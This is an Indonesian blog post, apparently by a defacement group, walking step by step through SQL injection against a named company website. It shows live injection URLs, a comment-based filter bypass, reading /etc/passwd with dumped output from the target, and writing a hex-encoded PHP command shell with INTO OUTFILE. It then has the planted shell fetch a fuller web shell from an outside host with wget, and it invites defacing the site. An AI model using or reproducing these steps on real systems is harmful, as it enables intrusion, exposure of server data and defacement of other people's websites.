Upload Shell SQLi Into Out File


Hy Sobat ^_^ Udah lama nih ga nge-post lagi :V


Berhubung Kemaren ada temen yang rewel banget minta dibuatin Tutorial ini maka disini ane akan menunjukkan bagaimana cara mengunggah shell pada suatu webiste dengan SQL Injection tanpa harus menjadi admin, langsung saja berikut ini adalah langkah - langkahnya :



1) Kita cari target yang vuln SQLi dulu, di sini saya sudah mendapatkan 1 target yaitu http://www.vaksindo.co.id/ test target dengan menambahkan tanda ' pada parameter SQL nya ..



2) jika error maka akan muncul tulisan "Error My SQL bla bla.." atau sebagian konten ada yang hilang seperti dalam contoh ini ..





3) sekarang kita lakukan order by untuk menemukan jumlah table. 
http://www.vaksindo.co.id/vaksindo/views.php?page=1&id=1%27+order+by+1--+&lang=id&p=produk-kami
http://www.vaksindo.co.id/vaksindo/views.php?page=1&id=1%27+order+by+2--+&lang=id&p=produk-kami
http://www.vaksindo.co.id/vaksindo/views.php?page=1&id=1%27+order+by+3--+&lang=id&p=produk-kami
lakukan hingga error ( Tulisan Hilang ) Kembali




4) ternyata di sini trdapat 19 table, selanjutnya kita union+select untuk menemukan table yang bisa di injeksi



5) Owh.. ternyata Aksi kita di blok oleh server, kita bisa membypass nya dengan mengganti union menjadi /*!12345union*/



6) yaaappss udh ga di blok :D tapi mana? nomer tablenya kok ga muncul? o.O
hhaha jangan kuatir, untuk memunculkannya tambahkan +and+0 di belakang ID parameter.


7) nah tuh kita udh dapet nomer nya yaitu 3 , nomer ini lah yang nanti kita gunakan untuk mengeksekusi perintah" SQLi, sekarang kita cek dulu file_priv nya untuk mengetahui apakah kita bisa mengupload shell atau tidak menggunakan SQLi. Ganti angka 3 tadi dengan file_priv dan tambahkan +from+mysql.user sebelum tanda --+



8) yaak kita mendapatkan jawaban Y yang berarti kita bisa mengupload shell melalui SQL Injection :D selanjutnya kita mencoba untuk me-load file /etc/passwd yang ada di server dengan perintah load_file('/etc/passwd') > Letakkan pada angka 3 tadi dan jangan lupa hapus
string "+from+mysql.user" terlebih dahulu

kita dapat :
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin gdm:x:42:42::/var/lib/gdm:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin dovenull:x:496:493:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin admin:x:500:500:administrator:/home/admin:/bin/bash mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash ayu:x:502:503::/home/ayu:/bin/bash vaksindo:x:504:505::/var/www/html/vaksindo:/sbin/nologin japfa4kids:x:505:506::/var/www/html/japfa4kids:/sbin/nologin Administrator:x:506:507::/var/www/html/:/sbin/nologin admincorporate:x:507:508::/var/www/html/corporate/:/bin/bash admincatalog:x:508:509::/var/www/html/ecatalog/:/bin/bash
9) di file ini kita bisa mencari folder" yang sekiranya bisa kita jadikan tempat memasang shell kita. di sini saya menemukan /var/www/html/vaksindo sebagai folder tempat penyimpanan file" website ini, langkah ini lah yang paling sulit ketika SQLi Into Out File.



10) Langkah selanjutnya yakni memasang shell command sederhana yang berisi <?include($_GET["cmd']);?> namun harus diconvert dahulu menjadi bentuk hex 0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e
tambahkan hex tersebut pada angka 3 tadi dan tmbahkan string ini sebelum --+
+INTO+OUTFILE+'directory_web_yang_writable/namashellente.php

contoh :
+INTO+OUTFILE+'/var/www/html/vaksindo/foto_berita/pescyte.php'



11) Sekarang kita buka shell kita.



12) loh kok shellnya cuman angka gitu? o.O hhehee santai, namanya juga shell sederhana, jadi fungsinya di umpetin :v cara memasang shellnya yaitu tambahkan perintah berikut setelah meong.php:
?cmd=wget alamatshell.txt
contoh : ?cmd=wget http://ppsd-files.pe.hu/v2.txt



13) lalu dilanjutkan dengan perintah :
?cmd=mv v2.txt anon.php


14) Langkah terakhir, kita buka shell kita yang asli.

Binggoooo :D kita sudah berhasil mengupload shell kita :D dan terserah mau apain tuh website :v kalo mau Deface, Ane titip nick sama Team aja deh :v => TN72  dan GARUDA TERSAKTI 72 <=

Sekian dan terimakasih sudah berkunjung dan membaca~